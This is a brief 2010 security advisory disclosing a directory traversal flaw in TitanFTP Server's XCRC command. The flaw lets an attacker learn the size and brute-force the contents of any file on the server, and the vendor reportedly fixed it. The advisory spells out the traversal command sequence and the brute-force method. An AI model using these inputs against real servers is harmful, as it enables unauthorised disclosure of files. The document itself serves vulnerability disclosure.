TitanFtp Server File Disclosure

`Accensus Security Advisory L-02 TitanFtp Server Arbitrary File Disclosure  
  
Details  
  
=============  
  
Product: TitanFTP Server  
  
Security-Risk: high  
  
Remote-Exploit: maybe, assuming anonymous ftp access  
  
Local-Exploit: yes  
  
Vendor URL: http://www.southrivertech.com/  
  
Found By: Bill Finlayson  
  
http://www.accensussecurity.com  
  
Affected: Versions 8.10.1125 and likely previous  
  
Issue: the xcrc command is susceptible to a directory traversal attack which will allow disclosure of the contents of any file on the server  
  
Details: xcrc ..//..//..//..//a.txt 1 <some huge number> will disclose the file's size  
  
xcrc ..//..//..//..//a.txt 1 2  
xcrc ..//..//..//..//a.txt 1 3  
...  
xcrc ..//..//..//..//a.txt 1 <filesize>  
  
when automated allows for an easy brute force attack on the crc's  
  
Status: Submitted to Vendor 6/14/10 fixed 6/15/10  
`